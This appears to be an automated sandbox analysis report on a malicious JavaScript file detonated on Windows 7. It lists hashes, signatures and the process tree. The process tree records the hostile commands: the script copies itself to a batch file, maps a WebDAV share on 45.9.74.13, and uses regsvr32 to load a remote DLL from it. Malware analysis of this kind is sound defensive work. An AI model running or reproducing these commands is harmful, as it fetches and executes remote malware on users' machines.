Analysis

  • max time kernel
    122s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    10/07/2024, 18:42

General

  • Target

    539022179305046721.js

  • Size

    5KB

  • MD5

    b8761386fc6c7870dd22e8406f001c46

  • SHA1

    d480363c9693afa6c505833b4983bbccd4c02011

  • SHA256

    e94c7364c27599cf7c06a529006a4a9d7b0ac5e1cb9d2578c38bdd2c7ddc5510

  • SHA512

    7c4a1bd18352325a9f46b26a09dca2289aff8df0f340c694d79e4d98db587f79552ceaa4bae076b2ccf364a1de48dcb5fae6019c0a0401ff17ba89c2b64aedad

  • SSDEEP

    96:KT0KPS8ev0MPQ62z+beFyondQSGy/URV4SLUnHpNwktpNH:ySWKA+KFyondQSGy/S4SLUHTwktTH

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\539022179305046721.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\539022179305046721.js" "C:\Users\Admin\\mhnxhl.bat" && "C:\Users\Admin\\mhnxhl.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:620
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2720
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\866.dll
          3⤵
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:2608

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\mhnxhl.bat

      Filesize

      5KB

      MD5

      b8761386fc6c7870dd22e8406f001c46

      SHA1

      d480363c9693afa6c505833b4983bbccd4c02011

      SHA256

      e94c7364c27599cf7c06a529006a4a9d7b0ac5e1cb9d2578c38bdd2c7ddc5510

      SHA512

      7c4a1bd18352325a9f46b26a09dca2289aff8df0f340c694d79e4d98db587f79552ceaa4bae076b2ccf364a1de48dcb5fae6019c0a0401ff17ba89c2b64aedad